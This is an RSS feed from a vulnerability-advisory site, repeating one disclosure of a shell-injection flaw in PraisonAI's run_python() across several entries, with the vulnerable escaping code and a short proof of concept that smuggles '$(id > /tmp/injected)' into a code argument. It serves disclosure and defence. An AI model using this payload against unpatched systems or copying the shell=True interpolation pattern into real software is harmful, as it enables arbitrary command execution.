<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 15 Oct 2026 05:33:15 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-280412</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-280412</link>
      <description>EUVD-2026-280412</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-280412</guid>
    </item>
    <item>
      <title>fkie_cve-2026-34937</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-34937</link>
      <description>&lt;p&gt;PraisonAI is a multi-agent teams system. Prior to version 1.5.90, run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c &amp;#34;&amp;lt;code&amp;gt;&amp;#34; and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and &amp;#34;, leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked. This issue has been patched in version 1.5.90.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;PraisonAI is a multi-agent teams system. Prior to version 1.5.90, run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c &amp;#34;&amp;lt;code&amp;gt;&amp;#34; and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and &amp;#34;, leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked. This issue has been patched in version 1.5.90.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-34937</guid>
    </item>
    <item>
      <title>GHSA-w37c-qqfp-c67f — PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-w37c-qqfp-c67f</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonaiagents&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c &amp;#34;&amp;lt;code&amp;gt;&amp;#34;` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\` and `&amp;#34;`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`execute_command.py:290` (source) -&amp;gt; `execute_command.py:297` (hop) -&amp;gt; `execute_command.py:310` (sink)
```python
# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):&lt;/p&gt;
&lt;p&gt;# hop -- incomplete escaping, $ and () not handled
    escaped_code = code.replace(&amp;#39;\\&amp;#39;, &amp;#39;\\\\&amp;#39;).replace(&amp;#39;&amp;#34;&amp;#39;, &amp;#39;\\&amp;#34;&amp;#39;)
    command = f&amp;#39;{python_cmd} -c &amp;#34;{escaped_code}&amp;#34;&amp;#39;&lt;/p&gt;
&lt;p&gt;# sink -- shell=True expands $() before python3 runs
    return execute_command(command=command, cwd=cwd, timeout=timeout)
    # execute_command calls subprocess.run(command, shell=True, ...)
```&lt;/p&gt;
&lt;p&gt;### PoC
```python
# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, &amp;#39;src/praisonai&amp;#39;)
from praisonai.code.tools.execute_command import run_python&lt;/p&gt;
&lt;p&gt;result = run_python(code=&amp;#39;$(id &amp;gt; /tmp/injected)&amp;#39;)
print(result)&lt;/p&gt;
&lt;p&gt;# verify
import subprocess
print(subprocess.run([&amp;#39;cat&amp;#39;, &amp;#39;/tmp/injected&amp;#39;], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Any agent pipeline or API consumer that passes use…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonaiagents&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c &amp;#34;&amp;lt;code&amp;gt;&amp;#34;` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\` and `&amp;#34;`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`execute_command.py:290` (source) -&amp;gt; `execute_command.py:297` (hop) -&amp;gt; `execute_command.py:310` (sink)
```python
# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):&lt;/p&gt;
&lt;p&gt;# hop -- incomplete escaping, $ and () not handled
    escaped_code = code.replace(&amp;#39;\\&amp;#39;, &amp;#39;\\\\&amp;#39;).replace(&amp;#39;&amp;#34;&amp;#39;, &amp;#39;\\&amp;#34;&amp;#39;)
    command = f&amp;#39;{python_cmd} -c &amp;#34;{escaped_code}&amp;#34;&amp;#39;&lt;/p&gt;
&lt;p&gt;# sink -- shell=True expands $() before python3 runs
    return execute_command(command=command, cwd=cwd, timeout=timeout)
    # execute_command calls subprocess.run(command, shell=True, ...)
```&lt;/p&gt;
&lt;p&gt;### PoC
```python
# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, &amp;#39;src/praisonai&amp;#39;)
from praisonai.code.tools.execute_command import run_python&lt;/p&gt;
&lt;p&gt;result = run_python(code=&amp;#39;$(id &amp;gt; /tmp/injected)&amp;#39;)
print(result)&lt;/p&gt;
&lt;p&gt;# verify
import subprocess
print(subprocess.run([&amp;#39;cat&amp;#39;, &amp;#39;/tmp/injected&amp;#39;], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Any agent pipeline or API consumer that passes use…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-w37c-qqfp-c67f</guid>
    </item>
    <item>
      <title>PYSEC-2026-2954 — PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2026-2954</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonaiagents&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c &amp;#34;&amp;lt;code&amp;gt;&amp;#34;` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\` and `&amp;#34;`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`execute_command.py:290` (source) -&amp;gt; `execute_command.py:297` (hop) -&amp;gt; `execute_command.py:310` (sink)
```python
# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):&lt;/p&gt;
&lt;p&gt;# hop -- incomplete escaping, $ and () not handled
    escaped_code = code.replace(&amp;#39;\\&amp;#39;, &amp;#39;\\\\&amp;#39;).replace(&amp;#39;&amp;#34;&amp;#39;, &amp;#39;\\&amp;#34;&amp;#39;)
    command = f&amp;#39;{python_cmd} -c &amp;#34;{escaped_code}&amp;#34;&amp;#39;&lt;/p&gt;
&lt;p&gt;# sink -- shell=True expands $() before python3 runs
    return execute_command(command=command, cwd=cwd, timeout=timeout)
    # execute_command calls subprocess.run(command, shell=True, ...)
```&lt;/p&gt;
&lt;p&gt;### PoC
```python
# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, &amp;#39;src/praisonai&amp;#39;)
from praisonai.code.tools.execute_command import run_python&lt;/p&gt;
&lt;p&gt;result = run_python(code=&amp;#39;$(id &amp;gt; /tmp/injected)&amp;#39;)
print(result)&lt;/p&gt;
&lt;p&gt;# verify
import subprocess
print(subprocess.run([&amp;#39;cat&amp;#39;, &amp;#39;/tmp/injected&amp;#39;], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Any agent pipeline or API consumer that passes use…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonaiagents&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;`run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c &amp;#34;&amp;lt;code&amp;gt;&amp;#34;` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\` and `&amp;#34;`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;`execute_command.py:290` (source) -&amp;gt; `execute_command.py:297` (hop) -&amp;gt; `execute_command.py:310` (sink)
```python
# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):&lt;/p&gt;
&lt;p&gt;# hop -- incomplete escaping, $ and () not handled
    escaped_code = code.replace(&amp;#39;\\&amp;#39;, &amp;#39;\\\\&amp;#39;).replace(&amp;#39;&amp;#34;&amp;#39;, &amp;#39;\\&amp;#34;&amp;#39;)
    command = f&amp;#39;{python_cmd} -c &amp;#34;{escaped_code}&amp;#34;&amp;#39;&lt;/p&gt;
&lt;p&gt;# sink -- shell=True expands $() before python3 runs
    return execute_command(command=command, cwd=cwd, timeout=timeout)
    # execute_command calls subprocess.run(command, shell=True, ...)
```&lt;/p&gt;
&lt;p&gt;### PoC
```python
# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, &amp;#39;src/praisonai&amp;#39;)
from praisonai.code.tools.execute_command import run_python&lt;/p&gt;
&lt;p&gt;result = run_python(code=&amp;#39;$(id &amp;gt; /tmp/injected)&amp;#39;)
print(result)&lt;/p&gt;
&lt;p&gt;# verify
import subprocess
print(subprocess.run([&amp;#39;cat&amp;#39;, &amp;#39;/tmp/injected&amp;#39;], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Any agent pipeline or API consumer that passes use…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2026-2954</guid>
    </item>
  </channel>
</rss>
